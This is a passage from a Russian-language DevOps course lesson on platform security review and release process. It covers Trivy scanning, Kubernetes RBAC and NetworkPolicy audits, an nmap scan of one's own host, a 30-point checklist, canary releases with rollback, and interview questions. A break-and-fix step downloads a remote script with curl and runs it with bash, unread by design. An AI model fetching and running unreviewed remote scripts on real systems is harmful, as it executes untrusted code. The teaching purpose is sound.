trivy imageбез новых CRITICAL, изменения структуры базы совместимы со старой версией приложения, есть свежий бэкап (урок 10.3), известно, кто дежурит после релиза. Изменение структуры базы называют миграцией (database migration): например, добавляют колонку для даты создания заметки. Это как добавить графу в бумажный журнал: старый способ заполнения должен продолжать работать, иначе возврат старого приложения не восстановит сервис. Совместимость нужна для безопасного отката; подробнее в уроке 10.8. - Постепенная выкатка (canary: сначала 10% трафика, потом 30, 60, 100) с автоматическим анализом метрик (урок 9.6).
- Окно релиза: время, когда выпускать можно (рабочие часы, не пятница, не во время инцидента). Заморозка (freeze) это период, когда в прод идут только исправления, например перед праздниками или пиком нагрузки.
- Откат, описанный командой и проверенный заранее:
kubectl argo rollouts undoили откат коммита с тегом в GitOps-репозитории для Flux. - Аннотация релиза на дашборде Grafana: вертикальная отметка на графиках «здесь выкатили версию X», чтобы при разборе было видно, что менялось.
flowchart TD
A["Версия semver<br>и changelog"] --> B["Чек-лист до релиза"]
B --> C["Canary:<br>10%, 30%, 60%, 100%"]
C -->|метрики в норме| D["Релиз завершён,<br>отметка на Grafana"]
C -->|метрики плохие| E["Откат"]
E --> F["Разбор причины"]
Откат стоит на ветке при плохих метриках: его делают первым, а причину ищут потом.
Почему «в пятницу нельзя» это не суеверие, а арифметика. Релиз в пятницу в 17:30 ломает сервис. Откат занимает 5 минут, но диагностика, поиск причины по наблюдениям и проверкам (урок 2.8), разбор и повторная попытка занимают несколько часов. Если что-то идёт не так, чинить приходится в вечер пятницы и в выходные, когда люди заняты, а дежурный один. Пик продаж в пятницу вечером, а не в среду в 11:00, увеличивает цену сбоя. Стоимость сбоя высока, а выигрыш от того, что новая функция появится на 3 дня раньше, мал. Именно такими числами (стоимость часа простоя против ценности функции) freeze и объясняют бизнесу: без слов «так положено».
Второй пример: откат должен быть проверен. «Мы умеем откатывать» без замера означает «мы не знаем, сколько это займёт». Поэтому в задании 4 ты выполнишь откат заранее и запишешь время.
Прикинь сам: в пятницу в 17:30 после релиза выросли 5xx. Первым ищешь причину или откатываешь?
Откатываешь: сначала возвращаешь работоспособность и проверяешь метриками, а причину разбираешь потом.
Осторожно: «Откат это когда что-то пошло не так, и нужно чинить». Нет: откат это нормальное быстрое действие, первое, что делают при проблеме после релиза. Сначала возвращаем работоспособность, потом разбираем причину. И второе: «автоматический откат canary отменяет необходимость ручного». Автоматика останавливает выкатку по метрикам, которые ты заранее описал. Если метрика не покрывает проблему, ручной откат остаётся нужен.
Главное: релиз это управляемое изменение с версией, чек-листом, окном, постепенной выкаткой и заранее проверенным откатом.
Теории хватит. В практике ты просканируешь проект, проверишь кластер, напишешь чек-лист и проведёшь учебный релиз.
Практика
Работаем в репозитории ~/notes и в кластере kind-notes из предыдущих уроков. Готовый образ notes:0.7.1 есть локально (если нет: docker pull ghcr.io/<github-user>/notes:0.7.1 и docker tag ghcr.io/<github-user>/notes:0.7.1 notes:0.7.1).
Задание 1. Сканеры на своём проекте: найти пять, исправить три
Цель: прогнать trivy по репозиторию, манифестам и образу, отобрать 5 замечаний, 3 исправить и 2 оформить как принятый риск.
Предскажи: в каком из трёх режимов (fs, config, image) у нашего образа на python:3.13-slim вероятнее всего окажутся замечания по пакетам ОС? И найдёт ли trivy config что-то в чарте, где уже есть securityContext из урока 5.12?
Ответ
Пакеты ОС смотрит только trivy image. В чарте после 5.12 серьёзных мисконфигураций мало, но могут остаться средние: например, нет livenessProbe в отдельном манифесте или образ без закреплённого digest. Точный список зависит от даты сканирования.
Шаги:
- Создай каталог для отчётов вне репозитория и запусти три сканирования. Разбор:
docker run --rmзапускает временный контейнер и удаляет его после работы;-v "$PWD":/srcподключает текущую папку внутрь контейнера как/src;aquasec/trivy:0.74.0официальный образ Trivy с закреплённой версией;> файлзаписывает отчёт в файл, а не на экран; для образа монтируется/var/run/docker.sock, чтобы Trivy достучался до Docker и увидел локальный образ;wc -lсчитает строки в каждом отчёте.
mkdir -p ~/notes-scan
cd ~/notes
# Зависимости и секреты в файлах
docker run --rm -v "$PWD":/src aquasec/trivy:0.74.0 \
fs --scanners vuln,secret --severity HIGH,CRITICAL /src \
> ~/notes-scan/fs.txt
# Мисконфигурации: Dockerfile, k8s, helm
docker run --rm -v "$PWD":/src aquasec/trivy:0.74.0 \
config --severity MEDIUM,HIGH,CRITICAL /src \
> ~/notes-scan/config.txt
# Образ (нужен доступ к docker.sock)
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock aquasec/trivy:0.74.0 \
image --severity HIGH,CRITICAL --ignore-unfixed notes:0.7.1 \
> ~/notes-scan/image.txt
# Сколько строк в каждом отчёте
wc -l ~/notes-scan/*.txt
- Выбери 5 замечаний в таблицу для
docs/security.md(что, где, серьёзность, решение). Три исправь: например, добавь закреплённую версию зависимости, обнови базовый образ до свежего тегаpython:3.13-slim, убери лишнее право из манифеста. - Два оформи как принятый риск в файле
.trivyignore.yamlс датой пересмотра. Разбор ключей:vulnerabilitiesсписок принятых уязвимостей;idномер CVE;statementпричина человеческими словами;expired_atдата, после которой запись перестаёт действовать.
# Принятые риски: у каждого причина и срок пересмотра
vulnerabilities:
- id: CVE-2026-00000 # замени на реальный id из твоего отчёта
statement: "Пакет не вызывается приложением, исправления в базовом образе нет"
expired_at: 2026-12-01
- Повтори сканирование с флагом
--ignorefile /src/.trivyignore.yaml(дляfsиconfig, где путь/src) и сравни.
Что должно получиться (образ Trivy в этой редакции урока не запускался, числа условные, у тебя они будут другими):
12 /home/ubuntu/notes-scan/config.txt
8 /home/ubuntu/notes-scan/fs.txt
40 /home/ubuntu/notes-scan/image.txt
Как читать вывод: каждая строка это отчёт одного режима, число слева количество строк в нём. Пустой отчёт Trivy короткий, поэтому маленькое число может значить «замечаний нет», а не «сканер не сработал». Смотри не на числа, а на содержимое: открой файл (cat ~/notes-scan/config.txt) и найди таблицы Total: .... После исправлений замечаний должно стать меньше, а принятые риски не должны показываться, пока не наступил expired_at.
Объясни себе:
- Почему
--ignore-unfixedуместен для образа в разовом отчёте, но опасен как постоянная политика? - Чем принятый риск с датой отличается от «просто добавили в игнор»?
Типичные ошибки:
docker: Cannot connect to the Docker daemon at unix:///var/run/docker.sock: у пользователя нет прав на сокет. Выполниsudo usermod -aG docker $USERи перелогинься (урок 1.3).unable to find image 'notes:0.7.1' locallyпри сканировании образа: образа нет локально. Проверьdocker images notes, при необходимостиdocker pull.
Задание 2. Ревью кластера и что видно снаружи
Цель: проверить кластер по чек-листу (RBAC, PSS, NetworkPolicy, токены) и посмотреть, какие порты видны снаружи.
Предскажи: сколько субъектов в свежем kind-кластере привязано к cluster-admin? Может ли обычный под в namespace notes выполнить kubectl get secrets -A?
Ответ
В kind по умолчанию cluster-admin получает группа system:masters и (в новых версиях) kubeadm:cluster-admins, плюс часть системных сервисных аккаунтов. Под в notes с automountServiceAccountToken: false (урок 5.12) вообще не имеет токена, а без Role ответит Forbidden.
Шаги:
- Найди все привязки к
cluster-admin. Разбор:-o jsonвыводит все ClusterRoleBinding как JSON;jq -rразбирает его (-rбез кавычек вокруг строк);select(.roleRef.name=="cluster-admin")оставляет только привязки к этой роли;[.subjects[]? | .kind + ":" + .name]собирает список «Тип:имя» субъектов (?не даёт упасть, если субъектов нет),join(", ")склеивает их через запятую.
kubectl --context kind-notes get clusterrolebindings -o json \
| jq -r '.items[] | select(.roleRef.name=="cluster-admin")
| .metadata.name + " -> " + ([.subjects[]? | .kind + ":" + .name] | join(", "))'
- Проверь, что может сервисный аккаунт приложения. Разбор:
auth can-i --listпоказывает все права субъекта списком,head -20оставляет первые 20 строк; вторая команда задаёт один точечный вопрос.
kubectl --context kind-notes -n notes auth can-i --list \
--as=system:serviceaccount:notes:notes | head -20
kubectl --context kind-notes -n notes auth can-i get secrets \
--as=system:serviceaccount:notes:notes
- Проверь метки namespace и политики сети:
kubectl --context kind-notes get ns notes --show-labels
kubectl --context kind-notes -n notes get networkpolicy
- Со второй машины посмотри хост снаружи и сверь с файрволом.
nmapсканер портов (-Pnне проверять «жив ли хост»,-p 1-1024,8080какие порты проверять). Сканируй только свои стенды: сканирование чужих систем без разрешения запрещено.
SERVER_IP=192.0.2.10 # подставь адрес своего стенда
nmap -Pn -p 1-1024,8080 "$SERVER_IP"
sudo ufw status verbose
Что должно получиться (в этой редакции урока кластер не запускался, вывод показан по документации, имена у тебя могут отличаться):
cluster-admin -> Group:system:masters
kubeadm:cluster-admins -> Group:kubeadm:cluster-admins
no
pod-security.kubernetes.io/enforce=restricted
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
8080/tcp filtered http-proxy
Как читать вывод: первые две строки это привязки к cluster-admin и их субъекты: должны быть только системные, а сервисных аккаунтов твоих приложений там быть не должно. no ответ на «может ли аккаунт приложения читать секреты» (хорошо). Метка enforce=restricted значит, что namespace требует самый строгий профиль безопасности подов. В выводе nmap: open порт отвечает, filtered файрвол молча отбрасывает пакеты (снаружи порт не виден), closed хост отвечает «здесь никого нет». Ожидаем открытыми только 22, 80, 443.
Объясни себе:
- Почему порт 8080 должен быть закрыт снаружи, если приложение слушает именно его?
- Кто в этом кластере, кроме тебя, может создать под с
privileged: trueи что этому мешает?
Типичные ошибки:
Error from server (Forbidden): serviceaccounts "notes" is forbidden: неверный namespace или имя аккаунта в--as. Проверьkubectl -n notes get sa.Error from server (Forbidden): ... cannot impersonate resource "serviceaccounts": у твоего пользователя нет права подменять субъекта. В kind у админа оно есть, а на чужих кластерах может не быть.Note: Host seems down: хост не отвечает на ping. Добавь-Pn, как в команде.
Задание 3. Чек-лист из 30 пунктов и docs/security.md
Цель: пройти чек-лист как аудитор и оформить отчёт с решениями.
Шаги:
- Создай
docs/security.mdсо структурой: краткий вывод, таблица чек-листа, таблица замечаний, принятые риски. - Для пунктов про CI выполни проверки. Разбор:
grep -L '^permissions:' файлывыводит файлы, в которых строкиpermissions:нет (-Lобратно-l);grep -hn 'uses:' ... | sort -uпоказывает все использованные actions без дублей (-hбез имён файлов,-nс номерами строк);grep -n 'github.event'находит места, где данные события подставляются в команды (опасно внутриrun:, значение надо передавать черезenv:). Защитуmainсмотри в Settings, Branches.
cd ~/notes
grep -L '^permissions:' .github/workflows/*.yml
grep -hn 'uses:' .github/workflows/*.yml | sort -u
grep -n 'github.event' .github/workflows/*.yml
- Пройди чек-лист. Для каждого пункта отметь
да,нетилине применимо, и напиши рядом команду или файл-доказательство:
1. Вход по SSH только по ключам, PasswordAuthentication no
2. root по SSH запрещён
3. ufw включён, открыты только 22/80/443
4. Порт приложения 8080 и порт БД 5432 снаружи закрыты
5. Автоматические обновления безопасности включены
6. TLS: HTTP редиректит на HTTPS, есть HSTS
7. Базовый образ с закреплённой версией, не latest
8. Контейнер запускается не от root (uid 10001)
9. trivy image без CRITICAL или с оформленным принятым риском
10. Образ не содержит секретов (проверка trivy image --scanners secret)
11. Есть SBOM для релизного образа
12. Namespace notes с PSS restricted
13. Default deny NetworkPolicy и явные разрешения
14. automountServiceAccountToken: false там, где токен не нужен
15. Нет привязок cluster-admin у сервисных аккаунтов приложений
16. У подов заданы requests и limits
17. readOnlyRootFilesystem включён
18. Политика запрета latest действует (ValidatingAdmissionPolicy)
19. В git нет секретов, TruffleHog зелёный
20. Секреты в Vault, в кластер попадают через ESO
21. Доступ к Vault ограничен политикой notes-read
22. Unseal-ключи вне репозитория
23. permissions заданы явно и минимальны
24. Сторонние actions закреплены по SHA
25. main защищён: PR и обязательные проверки
26. Токену CI не выдан cluster-admin
27. Релиз по тегу semver, образ из тега
28. Есть описанный откат и он проверен
29. Логи доступа nginx и события Kubernetes сохраняются
30. Есть алерт на аномалию (рост 5xx, перезапуски подов)
- Оцени результат: 27 и больше
даэто хорошо, 20-26 нужны планы, меньше 20 остановись и чини серьёзное. - Из ответов
нетсформируй таблицу замечаний: серьёзность, решение (исправить, принять риск, отложить), срок, владелец. - Закоммить:
cd ~/notes
git add docs/security.md .trivyignore.yaml
git commit -m "docs: ревью безопасности платформы"
Что должно получиться (хэш и число строк у тебя будут другие):
[main 3f2a1bc] docs: ревью безопасности платформы
2 files changed, 96 insertions(+)
create mode 100644 docs/security.md
Как читать вывод: в скобках ветка и короткий хэш коммита. 2 files changed файлов в коммите (отчёт и файл принятых рисков). create mode показывает, что файл создан впервые (для .trivyignore.yaml появится вторая такая строка).
Объясни себе:
- Почему решение «принять риск» требует имени владельца и даты пересмотра?
- Какие 3 пункта чек-листа дают наибольшее снижение риска на единицу усилий?
Типичные ошибки:
error: pathspec 'docs/security.md' did not match any file(s) known to git: файл не создан или ты не в корне репозитория. Проверьpwdиls docs.- Чек-лист на 30 «да» за 5 минут: пункты не проверялись, а отмечались по памяти. Для каждого приведи команду или файл-доказательство.
Задание 4. RELEASING.md и учебный релиз по нему (шаг проекта)
Цель: описать процесс релиза и провести по нему выпуск патча 0.7.2 (учебный, без изменений кода: меняется только версия).
Предскажи: если при canary-выкатке доля 5xx превысит порог анализа, что произойдёт с релизом сам по себе, без действий человека?
Ответ
Argo Rollouts (урок 9.6) остановит продвижение по шагам, вернёт трафик на стабильную версию и пометит релиз как Degraded. Человек разбирается уже после автоматического отката.
Шаги:
- Создай
RELEASING.mdв корне репозитория. Это обычный Markdown-файл, вставь его через любой редактор илиcat > RELEASING.md <<'MD' ... MD:
# Релизный процесс «Заметок»
## Версии
Semver: MAJOR.MINOR.PATCH. Тег git `vX.Y.Z`, образ `notes:X.Y.Z`, `appVersion` чарта равен версии образа.
## Окно релиза
Пн-чт с 10:00 до 16:00 (МСК). Не выпускаем в пятницу, в предпраздничные дни, во время инцидента и при сгоревшем error budget (docs/error-budget-policy.md).
## Чек-лист до релиза
- [ ] CI зелёный на main (lint, test, secrets, trivy-fs)
- [ ] `trivy image` без новых CRITICAL
- [ ] Миграции БД совместимы со старой версией приложения
- [ ] Свежий бэкап (scripts/restore-drill.sh проходил за последние 30 дней)
- [ ] CHANGELOG обновлён
- [ ] Известно, кто на связи после релиза (on-call)
## Выкатка
1. `git tag -a vX.Y.Z -m "notes X.Y.Z"` и `git push origin vX.Y.Z`; образ собирает image.yml.
2. Меняем `image.tag` и `appVersion`, коммит в репозиторий GitOps, Flux применяет.
3. Rollout идёт canary 10/30/60/100 с анализом success rate.
4. Смотрим 15 минут: 5xx, p95, перезапуски подов.
5. Ставим аннотацию релиза в Grafana.
## Откат
- Автоматический: провал анализа останавливает canary.
- Ручной: `kubectl argo rollouts undo notes -n notes`
или откат коммита с тегом в GitOps-репозитории.
- После отката: запись в docs/oncall-log.md, разбор причины.
- Проведи релиз по чек-листу. Разбор:
git tag -a v0.7.2 -m "..."создаёт аннотированный тег (с сообщением и автором);git push origin v0.7.2отправляет тег на сервер, это и запускает сборку образа;get rollout notes -wпоказывает состояние Rollout и обновляется при изменениях (-wот watch, выход поCtrl+C).
cd ~/notes
git tag -a v0.7.2 -m "notes 0.7.2"
git push origin v0.7.2
kubectl --context kind-notes -n notes get rollout notes -w
- После выкатки проверь метрики и поставь аннотацию в Grafana.
- Потренируй откат и запиши время.
timeперед командой печатает, сколько она выполнялась:
time kubectl --context kind-notes argo rollouts undo notes -n notes
- Закоммить
RELEASING.md. Итоговое состояние проекта:docs/security.md,RELEASING.md, эталон https://github.com/distinguished-sre/learning/tree/main/devops/project/notes.
Что должно получиться (кластер в этой редакции не запускался, вывод показан по документации Argo Rollouts, у тебя цифры и номер ревизии другие):
NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE
notes 2 2 2 2 14m
rollout 'notes' undo
real 0m1.9s
Как читать вывод: DESIRED сколько подов нужно, CURRENT сколько существует, UP-TO-DATE сколько уже на новой версии, AVAILABLE сколько готовы принимать трафик. Когда все четыре числа равны, выкатка завершена. real время отката: команда только отдаёт приказ, а сами поды возвращаются за десятки секунд, поэтому в реальном замере запиши время до Healthy, а не до конца команды. Проверка: откат укладывается в минуты, kubectl get rollout показывает статус Healthy, на графике видна аннотация.
Объясни себе:
- Что в
RELEASING.mdзаставит команду не выпускать в пятницу, если дедлайн давит? - Чем откат Rollout отличается от отката коммита в GitOps?
Типичные ошибки:
error: unknown command "argo" for "kubectl": не установлен плагинkubectl-argo-rollouts(урок 9.6). Установи по инструкции проекта.error: failed to push some refs: у тебя нет прав или тег уже существует. Проверьgit tag -l. Для нового релиза бери новый номер, тег не переписывают.Error from server (NotFound): rollouts.argoproj.io "notes" not found:rollout.enabledвыключен или неверный namespace. Проверьhelm get values notes -n notes.
Сломай и почини
Запусти сценарий (скрипт не читай, разбор в конце). Первая команда скачивает скрипт, вторая запускает его без sudo: он работает только с твоим kind-кластером.
curl -fsSL -o /tmp/break-10.5.sh \
https://raw.githubusercontent.com/distinguished-sre/learning/main/devops/project/notes/break/10.5/break.sh
bash /tmp/break-10.5.sh 1
Вернуть рабочее состояние можно командой bash /tmp/break-10.5.sh fix, но сначала разберись сам.
Симптом
Аудит кластера показал: сервисный аккаунт, которым пользуется CI для выкатки, может читать секреты всех namespace и создавать поды где угодно. Приложение при этом работает, алертов нет.
Гипотезы
Гипотеза (hypothesis) это предположение, которое можно проверить: как догадка «лампа не горит из-за розетки», проверяемая подключением к другой розетке. Она помогает выбрать следующий шаг вместо случайной смены настроек; подробнее о разнице между наблюдением, гипотезой и проверкой в уроке 10.7.
- CI использует токен пользователя-администратора.
- У сервисного аккаунта CI слишком широкая Role или ClusterRole.
- Сервисному аккаунту выдали
cluster-adminпривязкой (ClusterRoleBinding).
Проверки
Сначала запиши свой список гипотез и способ проверки каждой, потом смотри команды:
# Кто привязан к cluster-admin
kubectl --context kind-notes get clusterrolebindings -o json \
| jq -r '.items[] | select(.roleRef.name=="cluster-admin")
| .metadata.name + " -> " + ([.subjects[]? | .kind + ":" + .name + "/" + (.namespace // "")] | join(", "))'
# Что реально может аккаунт CI
kubectl --context kind-notes auth can-i get secrets -A \
--as=system:serviceaccount:notes:ci-deployer
Исправление
Разбор сценария
Причина: создана привязка ci-deployer-admin, которая выдаёт cluster-admin сервисному аккаунту notes:ci-deployer (в выводе первой команды видна строка ci-deployer-admin -> ServiceAccount:ci-deployer/notes, а вторая команда отвечает yes). Нужно удалить привязку и выдать Role на один namespace с минимальным набором прав.
kubectl --context kind-notes delete clusterrolebinding ci-deployer-admin
kubectl --context kind-notes -n notes apply -f - <<'YAML'
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ci-deployer
rules:
# Только то, что нужно для выкатки приложения
- apiGroups: ["apps", "argoproj.io"]
resources: ["deployments", "rollouts"]
verbs: ["get", "list", "watch", "patch", "update"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: ci-deployer
subjects:
- kind: ServiceAccount
name: ci-deployer
namespace: notes
roleRef:
kind: Role
name: ci-deployer
apiGroup: rbac.authorization.k8s.io
YAML
# Проверка: секреты кластера больше недоступны, выкатка работает
kubectl --context kind-notes auth can-i get secrets -A --as=system:serviceaccount:notes:ci-deployer
kubectl --context kind-notes -n notes auth can-i patch deployments --as=system:serviceaccount:notes:ci-deployer
Разбор Role: apiGroups группа API ресурса (apps для Deployment, argoproj.io для Rollout), resources какие ресурсы, verbs какие действия. secrets в списке нет, значит их читать нельзя. Ожидаемый вывод: no для секретов и yes для patch deployments. Профилактика: пункты 15 и 26 чек-листа, регулярная проверка привязок командой из задания 2.
ИИ в помощь
Нейросеть быстро разбирает отчёты сканеров и проверяет чек-лист, но не знает достижимости в твоей системе и не должна принимать решение за владельца. Общие правила: ИИ-помощник.
Задача: разобрать отчёт сканера и подготовить записи для docs/security.md.
Вот фрагмент отчёта trivy image для учебного образа «Заметок»: <вставь без секретов>.
Для каждой строки предложи: что затронуто, какой вопрос нужно проверить про достижимость,
какое решение возможно (исправить, принять риск, отложить) и какие доказательства нужны.
Не называй риск низким без проверки.
Проверь ответ: сверь версии и номера CVE с отчётом, а выводы о достижимости проверь по коду сам. Типичная ошибка: нейросеть заявляет «уязвимость не используется», хотя этого не знает.
Задача: найти опасные места в workflow и RBAC.
Вот мой workflow GitHub Actions: <вставь без секретов>. Проверь: заданы ли permissions,
закреплены ли сторонние actions по SHA, нет ли подстановки выражений из PR прямо в run.
Для каждого пункта дай исправление.
Проверь ответ: проверь каждое исправление на тестовой ветке. Типичная ошибка: нейросеть закрепляет SHA, которого не существует, или оставляет подстановку в run:.
Задача: улучшить RELEASING.md.
Вот мой RELEASING.md: <вставь текст>. Проверь по пунктам: версия, чек-лист до релиза,
окно релиза, откат с командой, проверка после выкатки. Чего не хватает?
Проверь ответ: выполни откат по документу и замерь время. Типичная ошибка: нейросеть вставляет команды отката, которых нет в вашей схеме выкатки.
Словарик урока
| Термин | Простыми словами |
|---|---|
| Ревью безопасности | Проверка системы по слоям с итоговым списком замечаний и решений по каждому |
| Аудит (audit) | Проверка настроек и доказательств по требованиям; внешний аудит проводит независимый специалист |
| Markdown | Текстовый формат с пометками заголовков и списков, который GitHub показывает как оформленную страницу |
| Уязвимость (vulnerability) | Ошибка в программе, которой можно воспользоваться, чтобы получить лишнее |
| CVE | Публичный номер конкретной известной уязвимости |
| Серьёзность (severity) | Оценка опасности: LOW, MEDIUM, HIGH, CRITICAL |
| CVSS | Числовая оценка свойств уязвимости от 0 до 10; не вероятность взлома конкретного сервиса |
| Мисконфигурация | Опасная настройка (не ошибка в коде): лишние права, открытый порт |
| Риск | Вероятность, что уязвимостью воспользуются, умноженная на ущерб |
| Принятый риск | Осознанное решение оставить замечание, с причиной, владельцем и датой пересмотра |
| Достижимость (reachability) | Возможность через работающую систему вызвать код с уязвимостью |
| Компенсирующая мера (compensating control) | Временная защита, которая уменьшает риск, пока основная проблема не исправлена |
| Принцип наименьших привилегий | Каждому ровно те права, что нужны для задачи |
| Blast radius | До чего дотянется злоумышленник, получив один доступ |
| RBAC | Система прав Kubernetes на основе ролей |
| ServiceAccount | Учётная запись для программы (пода, CI) в кластере |
| Role и ClusterRole | Списки разрешённых действий: на один namespace и на весь кластер |
| RoleBinding и ClusterRoleBinding | Привязка роли к субъекту в одном namespace и на весь кластер |
| cluster-admin | Встроенная роль «можно всё во всём кластере» |
| Trivy | Сканер уязвимостей, секретов и мисконфигураций (режимы fs, config, image) |
| SBOM | Список всех компонентов образа с версиями |
| Ложное срабатывание | Ошибочное сообщение сканера о проблеме; реальная уязвимость с низким риском к нему не относится |
.trivyignore.yaml |
Файл принятых рисков, где expired_at возвращает замечание в отчёт после даты |
| Цепочка поставки (supply chain) | Весь путь от исходного кода и зависимостей до работающего пода |
| Закрепление по SHA | Указание версии по неизменяемому хэшу коммита, а не по подвижному тегу |
| Script injection | Внедрение shell-команды через данные (имя ветки, заголовок PR), которые подставили в run: |
| semver | Версия МАЖОР.МИНОР.ПАТЧ с понятным смыслом каждого числа |
| Canary | Постепенная выкатка: сначала малая доля трафика на новую версию |
| Freeze | Период, когда в прод идут только исправления |
| Откат (rollback) | Быстрый возврат к предыдущей рабочей версии |
| Аннотация релиза | Отметка на графике Grafana «здесь выкатили версию X» |
| Миграция базы (database migration) | Изменение структуры базы, например добавление колонки; для отката нужна совместимость со старым приложением |
| Гипотеза (hypothesis) | Проверяемое предположение о причине наблюдаемой проблемы |
Вопросы с собеседований
Раздел для повторения: ответь вслух, потом открой ответ. Короткие вопросы с пометкой [на скорость] тренируй на время: ответ за 30 секунд.
1. [junior] [часто] Что такое принцип наименьших привилегий? Приведи пример из Kubernetes.
Ответ
Каждому субъекту даются только нужные права. Пример: CI-аккаунту выдаю Role на один namespace с правом patch на deployments, а не cluster-admin. Поду отключаю автомонтирование токена сервисного аккаунта, если он не ходит в API.
Что хотят услышать: пример из практики, Role против ClusterRole, проверка через kubectl auth can-i.
Красный флаг: только определение из учебника; «выдам админа, чтобы не разбираться».
2. [junior] [часто] Trivy нашёл 60 уязвимостей в образе. С чего начнёшь?
Ответ
Отфильтрую по CRITICAL и HIGH, посмотрю, у каких есть исправление. Начну с обновления базового образа: часто это закрывает половину. Что осталось, оцениваю по достижимости и записываю принятый риск с датой пересмотра.
Что хотят услышать: приоритизация, обновление базы, --ignore-unfixed, срок пересмотра.
Красный флаг: «выключу проверку в CI, чтобы сборка проходила».
3. [middle] [часто] В git закоммитили токен и запушили в публичный репозиторий. Что делаешь?
Ответ
Сначала отзываю и перевыпускаю токен: удаление коммита не помогает, копию уже могли забрать. Потом ищу, где токен использовался, смотрю логи, чищу историю (при необходимости), добавляю сканер секретов в CI и pre-commit (проверку перед коммитом). Пишу разбор без поиска виноватых.
Что хотят услышать: ротация раньше чистки, оценка использования, профилактика, разбор без обвинений (blameless).
Красный флаг: «удалю файл новым коммитом».
4. [middle] Пришёл аудит безопасности на твою платформу. Как готовишься и что показываешь?
Ответ
Прохожу по слоям: хост и SSH, образы, кластер (RBAC, PSS, NetworkPolicy), секреты, CI, логи. Для каждого слоя есть команда-доказательство и запись в docs/security.md. Заранее сам прогоняю Trivy и проверку привязок cluster-admin, чтобы прийти с готовым списком замечаний и решений.
Что хотят услышать: слои, конкретные проверки, честный список долгов с владельцами и сроками, а не «у нас всё хорошо».
Красный флаг: «скажу, что у нас всё закрыто»; перечисление инструментов без объяснения, что они проверяют.
5. [middle] В образе прода нашли критичную CVE. Твои действия?
Ответ
Оцениваю достижимость: вызывается ли уязвимый код, доступен ли сервис снаружи, есть ли готовый эксплойт (программа для использования уязвимости). Если да, срочно обновляю базовый образ или зависимость, прогоняю CI, выкатываю по обычному релизному процессу (без обхода canary). Если исправления нет, ставлю компенсирующие меры: правило веб-файрвола (WAF), NetworkPolicy, отключение функции. Фиксирую решение и дату пересмотра.
Что хотят услышать: оценка риска раньше паники, исправление через штатный процесс, компенсирующие меры, запись.
Красный флаг: «сразу выкачу хотфикс мимо проверок» или «игнорирую, пока не выпустят патч».
6. [middle] Как защитить CI/CD от компрометации?
Ответ
Минимальные permissions у токена, actions закреплены по SHA, данные PR не вставляются в run: (иначе внедрение команд), секреты привязаны к environment и недоступны форкам, main защищён обязательным ревью. Токену CI даю Role на один namespace, а не cluster-admin. Смотрю в журнале аудита, кто менял workflow.
Что хотят услышать: permissions, закрепление по SHA, script injection, pull_request_target (триггер, при котором workflow из форка получает секреты, поэтому опасен), защита веток, короткоживущие токены (OIDC).
Красный флаг: «храним токены в репозитории, зато приватном».
7. [middle] После деплоя в 17:30 в пятницу выросли 5xx. Что делаешь и что бы изменил в процессе?
Ответ
Сначала откат, разбирательство потом: argo rollouts undo или откат коммита, проверяю метрики, что ошибки ушли. Потом разбор: почему релиз шёл в пятницу вечером, почему анализ canary не остановил выкатку. В RELEASING.md закрепляю окно релиза и проверку порогов.
Что хотят услышать: митигация (уменьшение ущерба) раньше причины, готовый откат, вывод в процесс (окно, freeze, автоматический анализ).
Красный флаг: «буду искать баг в проде, пока не найду».
8. [middle] Как убедить бизнес в необходимости заморозки релизов перед пиком нагрузки?
Ответ
Говорю на языке денег и рисков: стоимость часа простоя в пик продаж против ценности фичи, которая уедет на неделю. Предлагаю ограниченную заморозку: только исправления по инцидентам с одобрением. Опираюсь на error budget (допустимый запас ошибок из урока 8.1): если бюджет сгорел, freeze следует из принятой политики.
Что хотят услышать: количественный аргумент, ограниченность и предсказуемость freeze, связь с error budget.
Красный флаг: «так положено» или «безопасность важнее всего» без цифр.
9. [middle] Как ты организуешь управление секретами и что проверишь при аудите?
Ответ
Секреты живут в Vault, в кластер попадают через External Secrets, в git нет ничего. При аудите проверяю историю репозитория сканером секретов, политики Vault, кто читает secret/notes/*, срок ротации (смены секретов), доступ к unseal-ключам (ключам, которыми Vault открывают после запуска), а у подов отключён лишний токен.
Что хотят услышать: единый источник секретов, ротация, ограничение чтения, сканирование истории git, отсутствие секретов в образах и переменных CI без нужды.
Красный флаг: «base64 в Secret это шифрование».
10. [middle] Как уменьшить blast radius при взломе одного сервиса?
Ответ
Раздельные namespace и сервисные аккаунты, NetworkPolicy по умолчанию deny (запрещено всё, что не разрешено явно), PSS restricted, минимум прав по RBAC, секреты по сервисам, запуск не от root с файловой системой только для чтения, лимиты ресурсов. Цель: взломанный под не видит соседей, не читает чужие секреты и не создаёт новые поды.
Что хотят услышать: несколько независимых слоёв, разделение секретов, сеть и RBAC, а не один «идеальный» барьер.
Красный флаг: «поставим один хороший файрвол на границе».
11. [junior] [на скорость] Чем SAST, DAST и SCA отличаются?
Ответ
SAST анализирует исходный код без запуска и ищет небезопасные конструкции. DAST проверяет работающее приложение снаружи, как атакующий: отправляет запросы и смотрит на ответы. SCA ищет уязвимости в сторонних зависимостях и библиотеках по их версиям. Они дополняют друг друга и встраиваются в CI. Результаты нужно разбирать по приоритету: часть находок ложные или недостижимы в моём коде.
Что хотят услышать: код без запуска, работающее приложение, зависимости, дополняют друг друга, разбор приоритетов.
Красный флаг: включает сканер и игнорирует результаты.
12. [middle] Что такое SBOM и зачем подписывать образы?
Ответ
SBOM - список компонентов, из которых собран образ: пакеты и библиотеки с версиями. Когда выходит новая CVE, по SBOM быстро видно, какие образы затронуты. Подпись образа, например инструментом cosign, подтверждает, что образ собрал наш CI, и что его не подменили. В кластере политика admission может принимать только подписанные образы. Это защита цепочки поставки, а не замена сканированию на уязвимости.
Что хотят услышать: перечень компонентов, быстрый поиск по CVE, подпись подтверждает источник, проверка при admission.
Красный флаг: думает, что подпись гарантирует отсутствие уязвимостей.
13. [junior] [на скорость] Чем аутентификация отличается от авторизации и как это выглядит в Kubernetes RBAC?
Ответ
